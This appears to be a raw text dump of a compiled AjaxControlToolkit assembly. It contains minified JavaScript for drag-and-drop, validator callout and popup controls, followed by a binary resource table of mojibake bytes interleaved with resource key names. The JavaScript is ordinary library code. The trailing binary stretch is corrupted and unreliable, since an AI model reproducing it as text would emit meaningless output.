b=null,a=this;AjaxControlToolkit.GenericDragDropManager.initializeBase(a);a._dropTargets=b;a._scrollEdgeConst=40;a._scrollByConst=10;a._scroller=b;a._scrollDeltaX=0;a._scrollDeltaY=0;a._activeDragVisual=b;a._activeContext=b;a._activeDragSource=b;a._oldOffset=b;a._potentialTarget=b;a._mouseUpHandler=b;a._mouseMoveHandler=b;a._keyPressHandler=b;a._scrollerTickHandler=b};AjaxControlToolkit.GenericDragDropManager.prototype={initialize:function(){var a=this;AjaxControlToolkit.GenericDragDropManager.callBaseMethod(a,"initialize");a._mouseUpHandler=Function.createDelegate(a,a._onMouseUp);a._mouseMoveHandler=Function.createDelegate(a,a._onMouseMove);a._keyPressHandler=Function.createDelegate(a,a._onKeyPress);a._scrollerTickHandler=Function.createDelegate(a,a._onScrollerTick);Sys.Browser.agent===Sys.Browser.Safari&&AjaxControlToolkit.GenericDragDropManager.__loadSafariCompatLayer(a);a._scroller=new Sys.Timer;a._scroller.set_interval(10);a._scroller.add_tick(a._scrollerTickHandler)},startDragDrop:function(b,c,d){var a=this;a._activeDragSource=b;a._activeDragVisual=c;a._activeContext=d;AjaxControlToolkit.GenericDragDropManager.callBaseMethod(a,"startDragDrop",[b,c,d])},_stopDragDrop:function(a){this._scroller.set_enabled(false);AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this,"_stopDragDrop",[a])},_drag:function(a){AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this,"_drag",[a]);this._autoScroll()},_wireEvents:function(){$addHandler(document,"mouseup",this._mouseUpHandler);$addHandler(document,"mousemove",this._mouseMoveHandler);$addHandler(document,"keypress",this._keyPressHandler)},_unwireEvents:function(){$removeHandler(document,"keypress",this._keyPressHandler);$removeHandler(document,"mousemove",this._mouseMoveHandler);$removeHandler(document,"mouseup",this._mouseUpHandler)},_wireDropTargetEvents:function(){},_unwireDropTargetEvents:function(){},_onMouseUp:function(a){window._event=a;this._stopDragDrop(false)},_onMouseMove:function(a){window._event=a;this._drag()},_onKeyPress:function(a){window._event=a;var b=a.keyCode?a.keyCode:a.rawEvent.keyCode;b==27&&this._stopDragDrop(true)},_autoScroll:function(){var a=this,c=window._event,b=a.getBrowserRectangle();if(b.width>0){a._scrollDeltaX=a._scrollDeltaY=0;if(c.clientX<b.x+a._scrollEdgeConst)a._scrollDeltaX=-a._scrollByConst;else if(c.clientX>b.width-a._scrollEdgeConst)a._scrollDeltaX=a._scrollByConst;if(c.clientY<b.y+a._scrollEdgeConst)a._scrollDeltaY=-a._scrollByConst;else if(c.clientY>b.height-a._scrollEdgeConst)a._scrollDeltaY=a._scrollByConst;if(a._scrollDeltaX!=0||a._scrollDeltaY!=0)a._scroller.set_enabled(true);else a._scroller.set_enabled(false)}},_onScrollerTick:function(){var d=document.body.scrollLeft,f=document.body.scrollTop;window.scrollBy(this._scrollDeltaX,this._scrollDeltaY);var c=document.body.scrollLeft,e=document.body.scrollTop,a=this._activeDragVisual,b={x:parseInt(a.style.left)+(c-d),y:parseInt(a.style.top)+(e-f)};$common.setLocation(a,b)}};AjaxControlToolkit.GenericDragDropManager.registerClass("AjaxControlToolkit.GenericDragDropManager",AjaxControlToolkit.IEDragDropManager);if(Sys.Browser.agent===Sys.Browser.Safari)AjaxControlToolkit.GenericDragDropManager.__loadSafariCompatLayer=function(a){a._getScrollOffset=a.getScrollOffset;a.getScrollOffset=function(){return {x:0,y:0}};a._getBrowserRectangle=a.getBrowserRectangle;a.getBrowserRectangle=function(){var b=a._getBrowserRectangle(),c=a._getScrollOffset(document.body,true);return {x:b.x+c.x,y:b.y+c.y,width:b.width+c.x,height:b.height+c.y}}};6-Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ValidatorCalloutBehavior=function(c){var b=null,a=this;AjaxControlToolkit.ValidatorCalloutBehavior.initializeBase(a,[c]);a._warningIconImageUrl=b;a._closeImageUrl=b;a._cssClass="ajax__validatorcallout";a._highlightCssClass=b;a._popupPosition=AjaxControlToolkit.ValidatorCalloutPosition.Right;a._width="200px";a._invalid=false;a._originalValidationMethod=b;a._validationMethodOverride=b;a._elementToValidate=b;a._popupTable=b;a._errorMessageCell=b;a._calloutArrowCell=b;a._warningIconImage=b;a._closeImage=b;a._closeCellInnerDiv=b;a._popupBehavior=b;a._onShowJson=b;a._onHideJson=b;a._focusAttached=false;a._isBuilt=false;a._focusHandler=Function.createDelegate(a,a._onfocus);a._closeClickHandler=Function.createDelegate(a,a._oncloseClick)};AjaxControlToolkit.ValidatorCalloutBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.ValidatorCalloutBehavior.callBaseMethod(a,"initialize");var b=a.get_element();if(b.evaluationfunction){a._originalValidationMethod=Function.createDelegate(b,b.evaluationfunction);a._validationMethodOverride=Function.createDelegate(a,a._onvalidate);b.evaluationfunction=a._validationMethodOverride}var c=a.get_ClientState();if(null!=c&&""!==c){a._ensureCallout();a._highlightCssClass&&Sys.UI.DomElement.addCssClass(a._elementToValidate,a._highlightCssClass);a.show()}},_ensureCallout:function(){var x="arrowpixel",w="ajax__validatorcallout_innerdiv",g="div",o="td",r="tr",a=this;if(!a._isBuilt){var z=a.get_element(),A=a._elementToValidate=$get(z.controltovalidate),q=document.createElement("tbody"),b=document.createElement(r),n=document.createElement(o),k=document.createElement("table"),v=document.createElement("tbody"),u=document.createElement(r),i=document.createElement(o),h=document.createElement(o),s=a._closeCellInnerDiv=document.createElement(g),e=a._popupTable=document.createElement("table"),c=a._calloutArrowCell=document.createElement(o),t=a._warningIconImage=document.createElement("img"),y=a._closeImage=document.createElement("img"),f=a._errorMessageCell=document.createElement(o);e.id=a.get_id()+"_popupTable";e.cellPadding=0;e.cellSpacing=0;e.border=0;e.width=a.get_width();e.className=a._cssClass+" ajax__validatorcallout_popup_table";b.className="ajax__validatorcallout_popup_table_row";n.className="ajax__validatorcallout_callout_cell";k.cellPadding=0;k.cellSpacing=0;k.border=0;k.className="ajax__validatorcallout_callout_table";u.className="ajax__validatorcallout_callout_table_row";if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft)c.className="ajax__validatorcallout_callout_arrow_cell_bottomleftpos";else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomRight)c.className="ajax__validatorcallout_callout_arrow_cell_bottomrightpos";else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopLeft)c.className="ajax__validatorcallout_callout_arrow_cell_topleftpos";else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopRight)c.className="ajax__validatorcallout_callout_arrow_cell_toprightpos";else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.Left)c.className="ajax__validatorcallout_callout_arrow_cell_leftpos";else c.className="ajax__validatorcallout_callout_arrow_cell";i.className="ajax__validatorcallout_icon_cell";t.border=0;t.src=a.get_warningIconImageUrl();f.className="ajax__validatorcallout_error_message_cell";f.innerHTML=a._getErrorMessage();h.className="ajax__validatorcallout_close_button_cell";s.className=w;y.src=a.get_closeImageUrl();z.parentNode.appendChild(e);e.appendChild(q);q.appendChild(b);b.appendChild(n);n.appendChild(k);k.appendChild(v);v.appendChild(u);u.appendChild(c);b.appendChild(i);i.appendChild(t);b.appendChild(f);b.appendChild(h);s.appendChild(y);h.appendChild(s);if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft||a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomRight){var p=document.createElement(r);q.insertBefore(p,b);c.colSpan=2;p.appendChild(c);b.appendChild(i);b.appendChild(f);b.appendChild(h)}else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopLeft||a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopRight){var p=document.createElement(r);q.appendChild(p);c.colSpan=2;p.appendChild(c);b.appendChild(i);b.appendChild(f);b.appendChild(h)}else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.Left){b.appendChild(i);b.appendChild(f);b.appendChild(h);b.appendChild(n)}else{b.appendChild(n);b.appendChild(i);b.appendChild(f);b.appendChild(h)}var j=document.createElement(g);j.className=w;c.appendChild(j);if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft||a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomRight){var l=document.createElement(g);l.style.width="1px";l.className=x;j.appendChild(l);for(var d=1;d<22;d+=2){var m=document.createElement(g);m.style.width=d.toString()+"px";j.appendChild(m)}}else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopLeft||a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopRight){for(var d=23;d>0;d-=2){var m=document.createElement(g);m.style.width=d.toString()+"px";j.appendChild(m)}var l=document.createElement(g);l.style.width="1px";l.className=x;j.appendChild(l)}else for(var d=14;d>0;d--){var m=document.createElement(g);m.style.width=d.toString()+"px";j.appendChild(m)}a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{parentElement:A},{},null,a._popupTable);if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopLeft)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.TopRight)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopRight);else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomLeft)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.BottomRight)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomRight);else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.Right)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);else if(a._popupPosition==AjaxControlToolkit.ValidatorCalloutPosition.Left)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Left);else a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.Right);a._onShowJson&&a._popupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._popupBehavior.set_onHide(a._onHideJson);$addHandler(a._closeCellInnerDiv,"click",a._closeClickHandler);a._isBuilt=true}},dispose:function(){var b=null,a=this;if(a._isBuilt){a.hide();if(a._focusAttached){$removeHandler(a._elementToValidate,"focus",a._focusHandler);a._focusAttached=false}$removeHandler(a._closeCellInnerDiv,"click",a._closeClickHandler);a._onShowJson=b;a._onHideJson=b;if(a._popupBehavior){a._popupBehavior.dispose();a._popupBehavior=b}if(a._closeBehavior){a._closeBehavior.dispose();a._closeBehavior=b}if(a._popupTable){a._popupTable.parentNode.removeChild(a._popupTable);a._popupTable=b;a._errorMessageCell=b;a._elementToValidate=b;a._calloutArrowCell=b;a._warningIconImage=b;a._closeImage=b;a._closeCellInnerDiv=b}a._isBuilt=false}AjaxControlToolkit.ValidatorCalloutBehavior.callBaseMethod(a,"dispose")},_getErrorMessage:function(){return this.get_element().errormessage||AjaxControlToolkit.Resources.ValidatorCallout_DefaultErrorMessage},show:function(b){var a=this;if(b||!a.get_isOpen()){b&&AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout&&AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout.hide();if(AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout!=null)return;AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout=a;a._errorMessageCell.innerHTML=a._getErrorMessage();a._popupBehavior.show()}},hide:function(){if(AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout==this)AjaxControlToolkit.ValidatorCalloutBehavior._currentCallout=null;this.get_isOpen()&&this._popupBehavior.hide()},_onfocus:function(){var a=this;if(!a._originalValidationMethod(a.get_element())){a._ensureCallout();a._highlightCssClass&&Sys.UI.DomElement.addCssClass(a._elementToValidate,a._highlightCssClass);a.show(true);return false}else{a.hide();return true}},_oncloseClick:function(){this.hide()},_onvalidate:function(b){var a=this;if(!a._originalValidationMethod(b)){a._ensureCallout();a._highlightCssClass&&Sys.UI.DomElement.addCssClass(a._elementToValidate,a._highlightCssClass);if(!a._focusAttached){$addHandler(a._elementToValidate,"focus",a._focusHandler);a._focusAttached=true}a.show(false);a._invalid=true;return false}else{a._highlightCssClass&&a._invalid&&Sys.UI.DomElement.removeCssClass(a._elementToValidate,a._highlightCssClass);a._invalid=false;a.hide();return true}},get_onShow:function(){return this._popupBehavior?this._popupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onShowBehavior():null},onShow:function(){this._popupBehavior&&this._popupBehavior.onShow()},get_onHide:function(){return this._popupBehavior?this._popupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onHideBehavior():null},onHide:function(){this._popupBehavior&&this._popupBehavior.onHide()},get_warningIconImageUrl:function(){return this._warningIconImageUrl},set_warningIconImageUrl:function(b){var a=this;if(a._warningIconImageUrl!=b){a._warningIconImageUrl=b;if(a.get_isInitialized())a._warningIconImage.src=b;a.raisePropertyChanged("warningIconImageUrl")}},get_closeImageUrl:function(){return this._closeImageUrl},set_closeImageUrl:function(b){var a=this;if(a._closeImageUrl!=b){a._closeImageUrl=b;if(a.get_isInitialized())a._closeImage.src=b;a.raisePropertyChanged("closeImageUrl")}},get_width:function(){return this._width},set_width:function(b){var a=this;if(a._width!=b){a._width=b;if(a.get_isInitialized())a._popupTable.style.width=_width;a.raisePropertyChanged("width")}},get_popupPosition:function(){return this._popupPosition},set_popupPosition:function(a){if(this._popupPosition!=a){this._popupPosition=a;this.raisePropertyChanged("popupPosition")}},get_cssClass:function(){return this._cssClass},set_cssClass:function(a){if(this._cssClass!=a){this._cssClass=a;this.raisePropertyChanged("cssClass")}},get_highlightCssClass:function(){return this._highlightCssClass},set_highlightCssClass:function(a){if(this._highlightCssClass!=a){this._highlightCssClass=a;this.raisePropertyChanged("highlightCssClass")}},get_isOpen:function(){return $common.getVisible(this._popupTable)}};AjaxControlToolkit.ValidatorCalloutBehavior.registerClass("AjaxControlToolkit.ValidatorCalloutBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.ValidatorCalloutPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.ValidatorCalloutPosition.prototype={Right:0,Left:1,BottomLeft:2,BottomRight:3,TopLeft:4,TopRight:5};AjaxControlToolkit.ValidatorCalloutPosition.registerEnum("AjaxControlToolkit.ValidatorCalloutPosition");�Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.PopupControlBehavior=function(c){var b=null,a=this;AjaxControlToolkit.PopupControlBehavior.initializeBase(a,[c]);a._popupControlID=b;a._commitProperty=b;a._commitScript=b;a._position=b;a._offsetX=0;a._offsetY=0;a._extenderControlID=b;a._popupElement=b;a._popupBehavior=b;a._popupVisible=false;a._focusHandler=b;a._popupKeyDownHandler=b;a._popupClickHandler=b;a._bodyClickHandler=b;a._onShowJson=b;a._onHideJson=b};AjaxControlToolkit.PopupControlBehavior.prototype={initialize:function(){var b="click",a=this;AjaxControlToolkit.PopupControlBehavior.callBaseMethod(a,"initialize");var c=a.get_element();a._popupElement=$get(a._popupControlID);a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{id:a.get_id()+"PopupBehavior",parentElement:c},null,null,a._popupElement);a._onShowJson&&a._popupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._popupBehavior.set_onHide(a._onHideJson);a._focusHandler=Function.createDelegate(a,a._onFocus);a._popupClickHandler=Function.createDelegate(a,a._onPopupClick);a._bodyClickHandler=Function.createDelegate(a,a._onBodyClick);a._popupKeyDownHandler=Function.createDelegate(a,a._onPopupKeyDown);$addHandler(c,"focus",a._focusHandler);$addHandler(c,b,a._focusHandler);$addHandler(document.body,b,a._bodyClickHandler);$addHandler(a._popupElement,b,a._popupClickHandler);$addHandler(a._popupElement,"keydown",a._popupKeyDownHandler);a.registerPartialUpdateEvents();AjaxControlToolkit.PopupControlBehavior.__VisiblePopup&&a.get_id()==AjaxControlToolkit.PopupControlBehavior.__VisiblePopup.get_id()&&a._onFocus(null)},dispose:function(){var c="click",b=null,a=this,d=a.get_element();a._onShowJson=b;a._onHideJson=b;if(a._popupBehavior){a._popupBehavior.dispose();a._popupBehavior=b}if(a._focusHandler){$removeHandler(d,"focus",a._focusHandler);$removeHandler(d,c,a._focusHandler);a._focusHandler=b}if(a._bodyClickHandler){$removeHandler(document.body,c,a._bodyClickHandler);a._bodyClickHandler=b}if(a._popupClickHandler){$removeHandler(a._popupElement,c,a._popupClickHandler);a._popupClickHandler=b}if(a._popupKeyDownHandler){$removeHandler(a._popupElement,"keydown",a._popupKeyDownHandler);a._popupKeyDownHandler=b}AjaxControlToolkit.PopupControlBehavior.callBaseMethod(a,"dispose")},showPopup:function(){var a=this,b=AjaxControlToolkit.PopupControlBehavior.__VisiblePopup;b&&b._popupBehavior&&b.hidePopup();AjaxControlToolkit.PopupControlBehavior.callBaseMethod(a,"populate");a._popupBehavior.set_x(a._getLeftOffset());a._popupBehavior.set_y(a._getTopOffset());a._popupBehavior.show();a._popupVisible=true;AjaxControlToolkit.PopupControlBehavior.__VisiblePopup=a},hidePopup:function(){this._popupBehavior.hide();this._popupVisible=false;AjaxControlToolkit.PopupControlBehavior.__VisiblePopup=null},_onFocus:function(a){!this._popupVisible&&this.showPopup();a&&a.stopPropagation()},_onPopupKeyDown:function(a){this._popupVisible&&a.keyCode==27&&this.get_element().focus()},_onPopupClick:function(a){a.stopPropagation()},_onBodyClick:function(){this._popupVisible&&this.hidePopup()},_close:function(result){var a=this,e=a.get_element();if(null!=result){if("$$CANCEL$$"!=result){if(a._commitProperty)e[a._commitProperty]=result;else if("text"==e.type)e.value=result;else Sys.Debug.assert(false,String.format(AjaxControlToolkit.Resources.PopupControl_NoDefaultProperty,e.id,e.type));if(a._commitScript)eval(a._commitScript)}a.hidePopup()}},_partialUpdateEndRequest:function(d,c){var a=this;AjaxControlToolkit.PopupControlBehavior.callBaseMethod(a,"_partialUpdateEndRequest",[d,c]);if(a.get_element()){var b=c.get_dataItems()[a.get_element().id];if(undefined===b&&AjaxControlToolkit.PopupControlBehavior.__VisiblePopup&&a.get_id()==AjaxControlToolkit.PopupControlBehavior.__VisiblePopup.get_id())b=c.get_dataItems()["_PopupControl_Proxy_ID_"];undefined!==b&&a._close(b)}},_onPopulated:function(b,a){AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this,"_onPopulated",[b,a]);this._popupVisible&&this._popupBehavior.show()},_getLeftOffset:function(){var a=this;if(AjaxControlToolkit.PopupControlPopupPosition.Left==a._position)return -1*a.get_element().offsetWidth+a._offsetX;else if(AjaxControlToolkit.PopupControlPopupPosition.Right==a._position)return a.get_element().offsetWidth+a._offsetX;else return a._offsetX},_getTopOffset:function(){var a=this,b;if(AjaxControlToolkit.PopupControlPopupPosition.Top==a._position)b=-1*a.get_element().offsetHeight+a._offsetY;else if(AjaxControlToolkit.PopupControlPopupPosition.Bottom==a._position)b=a.get_element().offsetHeight+a._offsetY;else b=a._offsetY;return b},get_onShow:function(){return this._popupBehavior?this._popupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onShowBehavior():null},onShow:function(){this._popupBehavior&&this._popupBehavior.onShow()},get_onHide:function(){return this._popupBehavior?this._popupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onHideBehavior():null},onHide:function(){this._popupBehavior&&this._popupBehavior.onHide()},get_PopupControlID:function(){return this._popupControlID},set_PopupControlID:function(a){if(this._popupControlID!=a){this._popupControlID=a;this.raisePropertyChanged("PopupControlID")}},get_CommitProperty:function(){return this._commitProperty},set_CommitProperty:function(a){if(this._commitProperty!=a){this._commitProperty=a;this.raisePropertyChanged("CommitProperty")}},get_CommitScript:function(){return this._commitScript},set_CommitScript:function(a){if(this._commitScript!=a){this._commitScript=a;this.raisePropertyChanged("CommitScript")}},get_Position:function(){return this._position},set_Position:function(a){if(this._position!=a){this._position=a;this.raisePropertyChanged("Position")}},get_ExtenderControlID:function(){return this._extenderControlID},set_ExtenderControlID:function(a){if(this._extenderControlID!=a){this._extenderControlID=a;this.raisePropertyChanged("ExtenderControlID")}},get_OffsetX:function(){return this._offsetX},set_OffsetX:function(a){if(this._offsetX!=a){this._offsetX=a;this.raisePropertyChanged("OffsetX")}},get_OffsetY:function(){return this._offsetY},set_OffsetY:function(a){if(this._offsetY!=a){this._offsetY=a;this.raisePropertyChanged("OffsetY")}},get_PopupVisible:function(){return this._popupVisible},add_showing:function(a){this._popupBehavior&&this._popupBehavior.add_showing(a)},remove_showing:function(a){this._popupBehavior&&this._popupBehavior.remove_showing(a)},raiseShowing:function(a){this._popupBehavior&&this._popupBehavior.raiseShowing(a)},add_shown:function(a){this._popupBehavior&&this._popupBehavior.add_shown(a)},remove_shown:function(a){this._popupBehavior&&this._popupBehavior.remove_shown(a)},raiseShown:function(a){this._popupBehavior&&this._popupBehavior.raiseShown(a)},add_hiding:function(a){this._popupBehavior&&this._popupBehavior.add_hiding(a)},remove_hiding:function(a){this._popupBehavior&&this._popupBehavior.remove_hiding(a)},raiseHiding:function(a){this._popupBehavior&&this._popupBehavior.raiseHiding(a)},add_hidden:function(a){this._popupBehavior&&this._popupBehavior.add_hidden(a)},remove_hidden:function(a){this._popupBehavior&&this._popupBehavior.remove_hidden(a)},raiseHidden:function(a){this._popupBehavior&&this._popupBehavior.raiseHidden(a)}};AjaxControlToolkit.PopupControlBehavior.registerClass("AjaxControlToolkit.PopupControlBehavior",AjaxControlToolkit.DynamicPopulateBehaviorBase);AjaxControlToolkit.PopupControlBehavior.__VisiblePopup=null;AjaxControlToolkit.PopupControlPopupPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.PopupControlPopupPosition.prototype={Center:0,Top:1,Left:2,Bottom:3,Right:4};AjaxControlToolkit.PopupControlPopupPosition.registerEnum("AjaxControlToolkit.PopupControlPopupPosition",false);�����lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP�-(���'"E_NoScriptManager*E_SciptPathNotAllowedPNA ScriptManager is required on the page to use ASP.NET AJAX Script Components.0This class does not allow setting of ScriptPath.�@����lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet�PADPADP�M߉�;NJw���F�)[��3NɓM행�a����>����A�H���o#��=��4s�>�
��F�W^��"����|��;��q;i���(�20C�O}v�T2&�,oj�����,��@d�.~�������s�ɋ%��.���k�������#�Q�b�	���p��n��L���ůK��z��©��mEϘk�c��UFAа5���Wѥ���,��&6�j��"y����ո}����~�ڬ1�ۗ�Q܏R��5����#ފ<�_�ߨ�x�ĺ���X��{)��1���tWD�)���q��o/��
�y��r���C���D���l�uNJ���X�u�	�o�@�{B=(��,����N��#�
�o�
#,	zv�R_ 352,Jj���*���s?*��?㯔$U��(Y^
)�G!)\H|*7�M2��2.�3�!)3�!{3�{5�s79l)�:��2<� O<,;>�k>��?2{*?�41B���EV@�E��*G�MG�<{G���I��;K�L�G[N�yQ�WkR  U�7U|�Ui�U��U<^U�U�QiVD�?X1:�X۾?Y��[��
d׋�g��XhhmN�n��r�_sۙu��7z-��{]�~B
|}�
���p$�g�"�|�9�!#���!Rm(~�#j}]�5&pM!e"�"-%�#��b�%��&�� �.
�"��(�	"�%��#��%�#�#� 6Rrh }! � u#7#�!��&g%�Y$;=7I	�F%�6 ���4��<,R�"��%���'���#!�Z#�'� �"!��'`H3S>�!�<3���
��$�
�"(�$�$�$�$S h!�!x�	19� �:$0"/$v?�
:'�.:AlwaysVisible_ElementRequired8Animation_CannotNestSequenceF8Animation_ChildrenNotAllowed�2Animation_InvalidBaseType],Animation_InvalidColor�<Animation_MissingAnimationName(@Animation_NoDynamicPropertyFound�2Animation_NoPropertyFound�0Animation_TargetNotFound?:Animation_UknownAnimationName�JAsyncFileUpload_ConfirmToSeeErrorPage]HAsyncFileUpload_InternalErrorMessage�FAsyncFileUpload_ServerResponseErrorDAsyncFileUpload_UnhandledExceptionDAsyncFileUpload_UnknownServerError-@AsyncFileUpload_UploadingProblemCCalendar_Todayj:CascadingDropDown_MethodErrorv>CascadingDropDown_MethodTimeout�BCascadingDropDown_NoParentElement�8CollapsiblePanel_NoControlID�:Common_DateTime_InvalidFormat�>Common_DateTime_InvalidTimeSpan�:Common_InvalidBorderWidthUnit2Common_InvalidPaddingUnitL,Common_UnitHasNoDigits~>DynamicPopulate_WebServiceError�BDynamicPopulate_WebServiceTimeout�LExtenderBase_CannotSetClientStateField�ZExtenderBase_ControlNotRegisteredForCallbacks�FExtenderBase_InvalidClientStateType/TExtenderBase_PageNotRegisteredForCallbacksc\HTMLEditor_toolbar_button_BackColorClear_title�HHTMLEditor_toolbar_button_Bold_title�XHTMLEditor_toolbar_button_BulletedList_title�HHTMLEditor_toolbar_button_Copy_title�FHTMLEditor_toolbar_button_Cut_title�\HTMLEditor_toolbar_button_DecreaseIndent_title�THTMLEditor_toolbar_button_DesignMode_title�\HTMLEditor_toolbar_button_FixedBackColor_title�\HTMLEditor_toolbar_button_FixedForeColor_title�^HTMLEditor_toolbar_button_FontName_defaultValuePHTMLEditor_toolbar_button_FontName_label^HTMLEditor_toolbar_button_FontSize_defaultValuePHTMLEditor_toolbar_button_FontSize_label&\HTMLEditor_toolbar_button_ForeColorClear_title,PHTMLEditor_toolbar_button_HtmlMode_titleD\HTMLEditor_toolbar_button_IncreaseIndent_titleOPHTMLEditor_toolbar_button_InsertHR_title`jHTMLEditor_toolbar_button_InsertLink_message_EmptyURLxTHTMLEditor_toolbar_button_InsertLink_title�LHTMLEditor_toolbar_button_Italic_title�ZHTMLEditor_toolbar_button_JustifyCenter_title�VHTMLEditor_toolbar_button_JustifyFull_title�VHTMLEditor_toolbar_button_JustifyLeft_title�XHTMLEditor_toolbar_button_JustifyRight_title�FHTMLEditor_toolbar_button_Ltr_title�VHTMLEditor_toolbar_button_OnPasteFromMSWord�THTMLEditor_toolbar_button_OnPastePlainText/	VHTMLEditor_toolbar_button_OrderedList_titlea	RHTMLEditor_toolbar_button_Paragraph_titleo	RHTMLEditor_toolbar_button_PasteText_title	RHTMLEditor_toolbar_button_PasteWord_title�	JHTMLEditor_toolbar_button_Paste_title�	VHTMLEditor_toolbar_button_PreviewMode_title�	HHTMLEditor_toolbar_button_Redo_title�	^HTMLEditor_toolbar_button_RemoveAlignment_title�	THTMLEditor_toolbar_button_RemoveLink_title�	XHTMLEditor_toolbar_button_RemoveStyles_title�	FHTMLEditor_toolbar_button_Rtl_title�	ZHTMLEditor_toolbar_button_StrikeThrough_title
RHTMLEditor_toolbar_button_SubScript_title!
VHTMLEditor_toolbar_button_SuperScript_title-
RHTMLEditor_toolbar_button_Underline_title;
HHTMLEditor_toolbar_button_Undo_titleF
DHTMLEditor_toolbar_button_Use_verbL
jHTMLEditor_toolbar_popup_LinkProperties_button_CancelU
bHTMLEditor_toolbar_popup_LinkProperties_button_OK]
hHTMLEditor_toolbar_popup_LinkProperties_field_Targeta
xHTMLEditor_toolbar_popup_LinkProperties_field_Target_Currenti
pHTMLEditor_toolbar_popup_LinkProperties_field_Target_Newy
vHTMLEditor_toolbar_popup_LinkProperties_field_Target_Parent�
pHTMLEditor_toolbar_popup_LinkProperties_field_Target_Top�
bHTMLEditor_toolbar_popup_LinkProperties_field_URL�
0ListSearch_DefaultPrompt�
PMultiHandleSlider_CssHeightWidthRequired�
XPasswordStrength_DefaultStrengthDescriptions	HPasswordStrength_GetHelpRequirementsqbPasswordStrength_InvalidStrengthDescriptionStyles�XPasswordStrength_InvalidStrengthDescriptions�NPasswordStrength_InvalidWeightingRatios!HPasswordStrength_RemainingCharactersQFPasswordStrength_RemainingLowerCasefFPasswordStrength_RemainingMixedCase�BPasswordStrength_RemainingNumbers�BPasswordStrength_RemainingSymbols�FPasswordStrength_RemainingUpperCase�4PasswordStrength_Satisfied�>PasswordStrength_StrengthPrompt�<PopupControl_NoDefaultProperty	
:PopupExtender_NoParentElementH
&RTE_BackgroundColorl
RTE_BarColor~
RTE_Bold�
RTE_Border�
RTE_BorderColor�
RTE_Cancel�
RTE_CellColor�
RTE_CellPadding�
RTE_CellSpacing�
&RTE_ClearFormatting�
RTE_Columns�
RTE_Copy�
RTE_Create�
RTE_Cut�
